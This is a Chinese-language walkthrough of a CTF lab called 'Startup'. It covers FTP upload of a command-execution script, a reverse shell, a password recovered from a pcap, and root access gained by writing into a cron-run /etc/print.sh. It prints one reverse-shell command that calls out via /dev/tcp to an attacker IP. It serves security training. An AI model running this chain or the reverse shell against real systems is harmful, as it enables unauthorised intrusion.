Startup
我们是Spice Hut,一家刚刚起步的新兴创业公司!我们提供多种香料和俱乐部三明治(以防您饿了),但这不是您在这里的原因。说实话,我们不确定我们的开发人员是否知道他们在做什么,并且我们的安全性担忧正在上升。我们要求您进行彻底的渗透测试,并尝试拥root权限。祝好运!
0x01 信息收集
Nmap扫一波端口一般先扫所有端口,再针对开放端口进行综合扫描
这里ftp有个anonymous匿名登录
![](https://i-blog.csdnimg.cn/blog_migrate/130a379205c13a8e3725498d3c8a214f.png)
感觉这个图片可能有利用
![](https://i-blog.csdnimg.cn/blog_migrate/bf64028d23daf1a9ccefa49264009878.png)
看了一下图片,再用steghide提取内容好像没有利用的地方
![](https://i-blog.csdnimg.cn/blog_migrate/a0bb563083eb65f4517438bbe3b824fd.png)
看了下notice.txt内容也没有提示:有个类似Maya的“用户名”
![](https://i-blog.csdnimg.cn/blog_migrate/66fd65f0c0ea6bfe08f42a421c2f0550.png)
0x02 漏洞利用
先用dirb扫一下目录得到files目录
![](https://i-blog.csdnimg.cn/blog_migrate/f5991a9d491b9b0407840dbde834fc04.png)
访问是ftp的目录,看结构是tfp服务
![](https://i-blog.csdnimg.cn/blog_migrate/40c9a174b6fe964d0e0bb5db8b0be297.png)
ftp里的tfp文件加是777权限,可以put文件上去
![](https://i-blog.csdnimg.cn/blog_migrate/5f6f4293daeb9b319cf38b0beea1a847.png)
写了一个命令执行的脚本上传上去。
![](https://i-blog.csdnimg.cn/blog_migrate/fd9febc64a3fbfcd42c15a46b1300cc2.png)
执行命令成功。反弹shell没弹回来,这边用了个反弹shell的脚本直接弹
![](https://i-blog.csdnimg.cn/blog_migrate/9eeb63426f465a3073d09fa16328304c.png)
0x03 反弹Shell
NC起监听,put用ftp权限777的目录内,然后进行访问就弹回shell
![](https://i-blog.csdnimg.cn/blog_migrate/c8f6ad8f2b3cf1d0a13e5974fa5bcf73.png)
用python生产交互式的tty
![](https://i-blog.csdnimg.cn/blog_migrate/92049a0a82526148ada0155e09207513.png)
用python传了个提权枚举脚本过去也没有收获。只能翻翻看。
![](https://i-blog.csdnimg.cn/blog_migrate/7d17aadfc690be382912f968343a43e6.png)
看看家目录,没有权限
![](https://i-blog.csdnimg.cn/blog_migrate/91a238adf827f6d258346c44adb5d0e4.png)
根目录下有incidents
![](https://i-blog.csdnimg.cn/blog_migrate/faccd5968283e50a9d29f49aad3a90f8.png)
incidents目录下有个suspicious.pcapng,用wireshark打开来看看
![](https://i-blog.csdnimg.cn/blog_migrate/83ec2eac82c6fd5bcec32a0069489696.png)
用python再incidents搭个网站吧文件传出来
![](https://i-blog.csdnimg.cn/blog_migrate/f5e95e935806dae7640b02769f25da9a.png)
利用wireshark导出txt文档搜索
![](https://i-blog.csdnimg.cn/blog_migrate/cc24ea94c1dc8f51b7800f777735b358.png)
搜索passw有个登录失败的密码
![](https://i-blog.csdnimg.cn/blog_migrate/ead7fb3968747a74ba3c4002db886935.png)
追踪TCP流得到一个密码c4ntg3t3n0ughsp1c3
![](https://i-blog.csdnimg.cn/blog_migrate/c43e17a296b7fe30eb6c15b2538f833d.png)
0x04 User权限
用密码尝试了lennie登录,成功。
![](https://i-blog.csdnimg.cn/blog_migrate/8b79f505ec160a4c71e4da5c47ca2ccd.png)
lennie下面script目录下有个planner.sh 所属root具有可执行权限,会执行/etc/print.sh。
追踪/etc/print.sh所属lennie
![](https://i-blog.csdnimg.cn/blog_migrate/3062e4c298b675e0f6ff4ecdb051c2d6.png)
在/etc/print.sh中加入反弹shell的脚本。
bash -i >&/dev/tcp/10.10.0.68/9999 0>&1
![](https://i-blog.csdnimg.cn/blog_migrate/c66df050dd68f09677d573333ba56697.png)
0x05 ROOT权限
用nc另起监听等待反弹Shell,成功获得flag
![](https://i-blog.csdnimg.cn/blog_migrate/0f2beae2891d167b218d5f725a5b92c1.png)